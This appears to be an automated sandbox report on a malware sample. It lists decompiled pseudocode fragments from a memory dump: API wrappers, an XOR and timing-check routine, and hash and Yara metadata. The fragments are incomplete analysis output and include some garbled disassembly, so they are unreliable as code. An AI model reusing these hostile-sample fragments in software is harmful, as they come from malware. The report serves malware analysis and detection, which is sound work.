Function 004182F0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004182F0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409733
				E00418DC0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182f3
0x004182f6
0x004182ff
0x00418307
0x00418315
0x00418319

APIs

NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00C298F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C298FA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e71484a11dfe017974fc69e144a0d0c6d11f4940a61fad92790e489654fef0d1
Instruction ID: d12984d1f178512cbba70771ba77223481fbc6bab865cefcb134404df0f1f837
Opcode Fuzzy Hash: e71484a11dfe017974fc69e144a0d0c6d11f4940a61fad92790e489654fef0d1
Instruction Fuzzy Hash: 549002A162100602D60171596404616010A97D0382FA1D032A1024555ECA6589A2F171

Uniqueness

Uniqueness Score: -1.00%

Function 00C29840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2984A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0817085d781d2e05ad367075ed978a984a16577f6ddd2b86cd3528cee871a78b
Instruction ID: 335214df4d5b41456217b03f8535f74051f87f063c6e0bcd80a3a0db2f5478ee
Opcode Fuzzy Hash: 0817085d781d2e05ad367075ed978a984a16577f6ddd2b86cd3528cee871a78b
Instruction Fuzzy Hash: 0F9002A1262042525A45B15964045074106A7E0382BA1D022A1414950C85669866E661

Uniqueness

Uniqueness Score: -1.00%

Function 00C29860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2986A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7001ba38825500b9d33a44d3e4e3cd78640de42d83b3797de7059699bf384c15
Instruction ID: 9a3c58faf831501713a7faac86d6f7203fe7570b4759844caf6d2bb869c5526b
Opcode Fuzzy Hash: 7001ba38825500b9d33a44d3e4e3cd78640de42d83b3797de7059699bf384c15
Instruction Fuzzy Hash: 2F9002B122100513D61161596504707010997D0382FA1D422A0424558D96968962F161

Uniqueness

Uniqueness Score: -1.00%

Function 00C299A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C299AA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f5f82946adf09f22b69090f25e8795fcf5c11cd4b42d0197f6224135522f505
Instruction ID: e4f029cec82d6a86c65a8120fe88f39695796ba7c84026680bd3696dca816ed5
Opcode Fuzzy Hash: 6f5f82946adf09f22b69090f25e8795fcf5c11cd4b42d0197f6224135522f505
Instruction Fuzzy Hash: D69002E136100542D60061596414B060105D7E1342F61D025E1064554D8659CC62B166

Uniqueness

Uniqueness Score: -1.00%

Function 00C29910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2991A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c533a14d57357a33fbe53b705d508a269f1b8ea95e4c19ae081b33ba3abff7d
Instruction ID: 23b99a5d76061c61115c10ff5841c7415cc9d17ae5d7e6029e117488f08cb040
Opcode Fuzzy Hash: 9c533a14d57357a33fbe53b705d508a269f1b8ea95e4c19ae081b33ba3abff7d
Instruction Fuzzy Hash: BA9002F122100502D64071596404746010597D0342F61D021A5064554E86998DE5B6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A5A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0406f766fc4d4c5098ed796d8da25b7152bea9ce20bf0a3ffdfb0ae6d6a2ed2e
Instruction ID: 353db2684c5f20af564f5aec65a6ab38479d96a5e9e524f5d5cd4c149451af3b
Opcode Fuzzy Hash: 0406f766fc4d4c5098ed796d8da25b7152bea9ce20bf0a3ffdfb0ae6d6a2ed2e
Instruction Fuzzy Hash: 2F9002A123180142D70065696C14B07010597D0343F61D125A0154554CC9558871A561

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A0A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a6e9c134469b95ffd6d142d733e5d62a83223da1514dd945f9349d30654b2e9a
Instruction ID: 9114985aa24bc681b554867fad4534ad4cf40590a2d8a7cadb36ab33af524329
Opcode Fuzzy Hash: a6e9c134469b95ffd6d142d733e5d62a83223da1514dd945f9349d30654b2e9a
Instruction Fuzzy Hash: 6D9002B122140502D6006159681470B010597D0343F61D021A1164555D86658861B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A2A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b350cd5f63288e978b8cb1ac245a28b68941da542df55121c20eff327c7b361
Instruction ID: 37d6741e778b67e525e258f509735cd24962c2f38a4d19d9cb5e1351e800ad28
Opcode Fuzzy Hash: 9b350cd5f63288e978b8cb1ac245a28b68941da542df55121c20eff327c7b361
Instruction Fuzzy Hash: 219002A16210014246407169A8449064105BBE1352B61D131A0998550D85998875A6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C295D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C295DA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b831c5b35d8ef2bb439e0de0724ca3431d5fd57bfbabbbf130ded90d525e2917
Instruction ID: d63502936edb218a4910c52bed4b2ce5ee4ac5441caaf1539836562c0d2840eb
Opcode Fuzzy Hash: b831c5b35d8ef2bb439e0de0724ca3431d5fd57bfbabbbf130ded90d525e2917
Instruction Fuzzy Hash: 089002E122200103460571596414616410A97E0342F61D031E1014590DC56588A1B165

Uniqueness

Uniqueness Score: -1.00%

Function 00C29540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2954A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f4cc4ea42f04127c70e04a5ada7a5076231243e9972f10cbc26aa647a0ad6b94
Instruction ID: 1873bbc5dcde0ee127bee4422d8bcf8025d61d33931aac1c51d680620f50be9b
Opcode Fuzzy Hash: f4cc4ea42f04127c70e04a5ada7a5076231243e9972f10cbc26aa647a0ad6b94
Instruction Fuzzy Hash: AB9002A5231001030605A5592704507014697D5392761D031F1015550CD6618871A161

Uniqueness

Uniqueness Score: -1.00%

Function 00C296E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C296EA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d79c2ae86764de82117a4ef9a569a22fe7aa38f112d47a0f13ac5e2438cd8c21
Instruction ID: 06d6e714a2f0dbb4eb5a8526b0483c5562b3a55c6497e6c389d6d846a350f0d0
Opcode Fuzzy Hash: d79c2ae86764de82117a4ef9a569a22fe7aa38f112d47a0f13ac5e2438cd8c21
Instruction Fuzzy Hash: C29002B122108902D6106159A40474A010597D0342F65D421A4424658D86D588A1B161

Uniqueness

Uniqueness Score: -1.00%

Function 00C29660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2966A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d6363e76ca408630fcb76138f9ac141f1f6d65bbf8df22108fc1deddab768825
Instruction ID: 1fe9aad4998b0cdf3efb747b868e61de304b009c8d2e6f97425621f0c72b9746
Opcode Fuzzy Hash: d6363e76ca408630fcb76138f9ac141f1f6d65bbf8df22108fc1deddab768825
Instruction Fuzzy Hash: 9F9002B122100902D6807159640464A010597D1342FA1D025A0025654DCA558A69B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29FEA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c0404a3354994e8f09d15d0f5fd064eb5b7306acaf17acf6a6dd94438a447ca
Instruction ID: 04f172d37548dfdb5678d9c9469622f095682201ad3e74545681784be15d5740
Opcode Fuzzy Hash: 9c0404a3354994e8f09d15d0f5fd064eb5b7306acaf17acf6a6dd94438a447ca
Instruction Fuzzy Hash: CF9002B133114502D6106159A404706010597D1342F61D421A0824558D86D588A1B162

Uniqueness

Uniqueness Score: -1.00%

Function 00C29780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2978A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccdcd734a3cccac4d1baf3e172f03c694fa2d2b9708145ad5fb67f2ff7ef8bbf
Instruction ID: 79e8d9f5ccc4c20ce49d8cd6860ebb09924dcad1c3b7c357dd4ef679aa9cbfab
Opcode Fuzzy Hash: ccdcd734a3cccac4d1baf3e172f03c694fa2d2b9708145ad5fb67f2ff7ef8bbf
Instruction Fuzzy Hash: CC9002A923300102D6807159740860A010597D1343FA1E425A0015558CC9558879A361

Uniqueness

Uniqueness Score: -1.00%

Function 00C297A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C297AA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f75ab0ea38b7ec2ece2033adfb09fa27f0dc58d5e8cbd9983349ac153b2b2c78
Instruction ID: 76a2fe996da77439df4b621c199f95d73d26ed08d99ab121d1585fe96718ed4b
Opcode Fuzzy Hash: f75ab0ea38b7ec2ece2033adfb09fa27f0dc58d5e8cbd9983349ac153b2b2c78
Instruction Fuzzy Hash: 0A9002A132100103D640715974186064105E7E1342F61E021E0414554CD9558866A262

Uniqueness

Uniqueness Score: -1.00%

Function 00C29710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2971A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: df4da7590279d9b1ea9e6dae23dbf6c6e4cbd652bd16a1c13a4b2c3b078c4170
Instruction ID: 46bef9d59f4d37452178e888d57326a6ea4e2d066a6f5e773087eee242f0fb79
Opcode Fuzzy Hash: df4da7590279d9b1ea9e6dae23dbf6c6e4cbd652bd16a1c13a4b2c3b078c4170
Instruction Fuzzy Hash: C19002B122100502D60065997408646010597E0342F61E021A5024555EC6A588A1B171

Uniqueness

Uniqueness Score: -1.00%

Function 004088A0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004088A0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E00(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407010( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E00419CD0( &_v284, 0x104);
						E0041A340( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00413DC0(E00413D60(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe1b5
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407040( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070C0(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088ab
0x004088b3
0x004088b5
0x004088ba
0x004088bf
0x004088d2
0x004088d7
0x004088e0
0x004088ec
0x004088ff
0x00408904
0x00408907
0x00408910
0x00408922
0x00408927
0x0040892c
0x00000000
0x00000000
0x0040892e
0x00408932
0x00000000
0x00000000
0x00408934
0x00000000
0x00408932
0x00408936
0x00408939
0x0040893f
0x00408941
0x0040894c
0x00408951
0x00408954
0x00408961
0x0040896c
0x0040896e
0x00408974
0x00408978
0x0040897b
0x0040897b
0x00408982
0x00408985
0x0040898a
0x00408997
0x004088c6
0x004088c6
0x004088c6

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd597d2b10bcd919e2cfa467fe8095ed82b4024d63035db810ef2ccd4408ac1
Instruction ID: 55514b722471499677bdd526f7fe8ce36723f69554e9c1deace4c3fed910bf3f
Opcode Fuzzy Hash: efd597d2b10bcd919e2cfa467fe8095ed82b4024d63035db810ef2ccd4408ac1
Instruction Fuzzy Hash: 38213AB2C4420857CB20E6649D42BFF73BCAB50304F44057FE989A3181F638BB498BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E00419D20( &_v67, 0, 0x3f);
				E0041A900( &_v68, 3);
				_t12 = E00409B10(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E20(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409270(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407260
0x0040726f
0x00407273
0x0040727e
0x0040728e
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 41a15175011262354fd07f166cee687d4b5cb8c938d281035948b67a82eb4ab6
Instruction ID: 5a072671537b26b6ed87b6c165d2972d8bf03b1b697a01369eb44fe348772ec6
Opcode Fuzzy Hash: 41a15175011262354fd07f166cee687d4b5cb8c938d281035948b67a82eb4ab6
Instruction Fuzzy Hash: 4B01A731A8032876E720A6959C03FFF776C5B40B55F15415EFF04BA1C2E6A87D0546FA

Uniqueness

Uniqueness Score: -1.00%

Function 004184CB, Relevance: 1.5, APIs: 1, Instructions: 25
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004184CB(intOrPtr __eax, void* __edi, void* _a4, long _a8, void* _a12) {
				intOrPtr _v0;
				char _t11;

				_push(__edi);
				 *0x55b3c576 = __eax;
				asm("lds esi, [ebx-0x741374ab]");
				_t8 = _v0;
				_t3 = _t8 + 0xc74; // 0xc74
				E00418DC0(__edi, _v0, _t3,  *((intOrPtr*)(_v0 + 0x10)), 0, 0x35);
				_t11 = RtlFreeHeap(_a4, _a8, _a12); // executed
				return _t11;
			}

0x004184cb
0x004184cc
0x004184ce
0x004184d3
0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 35ccf5f0c400fae64156b84a20cc20e3dd10c6be488d09fc778f83a74c7bffdd
Instruction ID: 5b9a70e1d35de35775e9f493c202ae5ce5aaf636f6350197946e3b6bda393622
Opcode Fuzzy Hash: 35ccf5f0c400fae64156b84a20cc20e3dd10c6be488d09fc778f83a74c7bffdd
Instruction Fuzzy Hash: B8E09AB1200204AFC714DFA9CC49EA777ACEF88750F11855DF90897241CA30E800CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 004184D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418490, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418490(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				E00418DC0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184a7
0x004184bd
0x004184c1

APIs

RtlAllocateHeap.NTDLL(00413506,?,00413C7F,00413C7F,?,00413506,?,?,?,?,?,00000000,00408AE3,?), ref: 004184BD

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418630, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418630(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E00418DC0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041864a
0x00418660
0x00418664

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418660

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 004184C3, Relevance: 1.5, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004184C3(intOrPtr __eax, void* __ebx, void* __edi, intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t11;

				_t18 = __edi;
				if(__ebx + __eax >= 0) {
					asm("fimul dword [ebx]");
					asm("invalid");
					_push(__edi);
					 *0x55b3c576 = __eax;
				}
				asm("lds esi, [ebx-0x741374ab]");
				_t8 = _a4;
				_t3 = _t8 + 0xc74; // 0xc74
				E00418DC0(_t18, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t11 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t11;
			}

0x004184c3
0x004184c5
0x004184c7
0x004184ca
0x004184cb
0x004184cc
0x004184cc
0x004184ce
0x004184d3
0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3f1caefe9ad2ce0903258fc22b947868672cf6b3cbedb639e20835840816f18d
Instruction ID: 330f0b0da4175dfed409a6f7f6880e8d23572079ad5d3b2dd67df8b8f90ba472
Opcode Fuzzy Hash: 3f1caefe9ad2ce0903258fc22b947868672cf6b3cbedb639e20835840816f18d
Instruction Fuzzy Hash: 28E0DFB49002488BEB18EF69D8C48D77795BF913143108A4EE85D4760ACB31D89A8BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00418510, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418510(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E00418DC0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418513
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 7205fd5e3e27dabd4e13006f85928de99448ffddaf0958f387cae24292a3a6f6
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: ACD012716003147BD620DF99DC85FD7779CDF49750F018469BA1C5B241C931BA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 00418503, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00418503(intOrPtr _a4, int _a8) {
				void* _t15;
				void* _t16;

				asm("lodsb");
				 *((intOrPtr*)(_t16 + 0x52e10da8)) =  *((intOrPtr*)(_t16 + 0x52e10da8)) + _t16;
				_t8 = _a4;
				_push(_t16);
				E00418DC0(_t15, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t8 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418503
0x00418507
0x00418513
0x0041851c
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4413321c1fd93b7398e82ebfaa22922423b7508af682ccb8e9e2de12a1d38a29
Instruction ID: e803077036c47466f205cc8a1b0d447269d8a74b33ce8112f1f401368651e2cf
Opcode Fuzzy Hash: 4413321c1fd93b7398e82ebfaa22922423b7508af682ccb8e9e2de12a1d38a29
Instruction Fuzzy Hash: 90E08C30504740AFCB20DF64CCC2E8B7B78AF46310F15489DA8941F153C634BA24CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C2967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29694

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
